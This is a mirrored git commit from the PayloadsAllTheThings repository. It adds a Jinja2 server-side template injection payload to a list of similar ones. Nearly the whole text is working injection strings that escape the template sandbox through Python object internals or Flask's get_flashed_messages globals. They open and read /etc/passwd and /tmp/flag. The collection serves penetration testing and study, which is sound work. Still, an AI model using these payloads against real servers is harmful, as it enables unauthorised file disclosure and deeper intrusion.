mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-20 19:36:11 +00:00
Merge pull request #325 from u0pattern/u0pattern-patch-1
SSTI Payload in Jinja2 - Arbitrary file read
This commit is contained in:
commit
0675573d93
@ -381,6 +381,8 @@ Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
|
|||||||
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
|
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
|
||||||
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
||||||
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
|
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
|
||||||
|
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
|
||||||
|
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Jinja2 - Write into remote file
|
### Jinja2 - Write into remote file
|
||||||
|
Loading…
Reference in New Issue
Block a user